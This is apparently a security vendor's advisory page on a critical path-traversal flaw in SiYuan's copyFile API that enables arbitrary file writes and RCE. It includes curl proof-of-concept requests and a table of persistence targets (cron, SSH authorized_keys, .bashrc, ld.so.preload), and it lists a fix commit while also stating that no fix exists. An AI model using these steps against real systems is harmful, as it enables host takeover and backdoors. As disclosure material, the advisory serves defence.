GHSA-c4jr-5q7w-f6r9 is a critical-severity (CVSS 9.1) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.
SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c4jr-5q7w-f6r9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c4jr-5q7w-f6r9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
- Location:
kernel/api/file.go- copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
// ...
src := arg["src"].(string)
src, err := model.GetAssetAbsPath(src) // src is validated
// ...
dest := arg["dest"].(string) // dest is NOT validated!
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
PoC
Step 1: Upload malicious content to workspace
curl -X POST "http://target:6806/api/file/putFile" \
-H "Authorization: Token <API_TOKEN>" \
-F "path=/data/assets/malicious.sh" \
-F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'
Step 2: Copy to arbitrary location (e.g., /tmp)
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
Response: {"code":0,"msg":"","data":null}
Step 3: Verify file was written outside workspace
cat /tmp/malicious.sh
# Output: #!/bin/sh
# id > /tmp/pwned.txt
# hostname >> /tmp/pwned.txt
Attack Scenarios
| Target Path | Impact |
|---|---|
/etc/cron.d/backdoor | Scheduled command execution (RCE) |
~/.ssh/authorized_keys | Persistent SSH access |
~/.bashrc | Command execution on user login |
/etc/ld.so.preload | Shared library injection |
RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
-H "Authorization: Token <API_TOKEN>" \
-d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...
Impact
An authenticated attacker (with API Token) can:
- Achieve Remote Code Execution with the privileges of the SiYuan process
- Establish persistent backdoor access via SSH keys
- Compromise the entire host system
- Access sensitive data on the same network (lateral movement)
Suggested Fix
Add path validation to ensure dest is within the workspace directory:
func copyFile(c *gin.Context) {
// ...
dest := arg["dest"].(string)
// Add validation
if !util.IsSubPath(util.WorkspaceDir, dest) {
ret.Code = -1
ret.Msg = "dest path must be within workspace"
return
}
if err = filelock.Copy(src, dest); err != nil {
// ...
}
}
Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for GHSA-c4jr-5q7w-f6r9 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-c4jr-5q7w-f6r9 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-c4jr-5q7w-f6r9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c4jr-5q7w-f6r9 in your dependencies?
O3 Security finds GHSA-c4jr-5q7w-f6r9 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.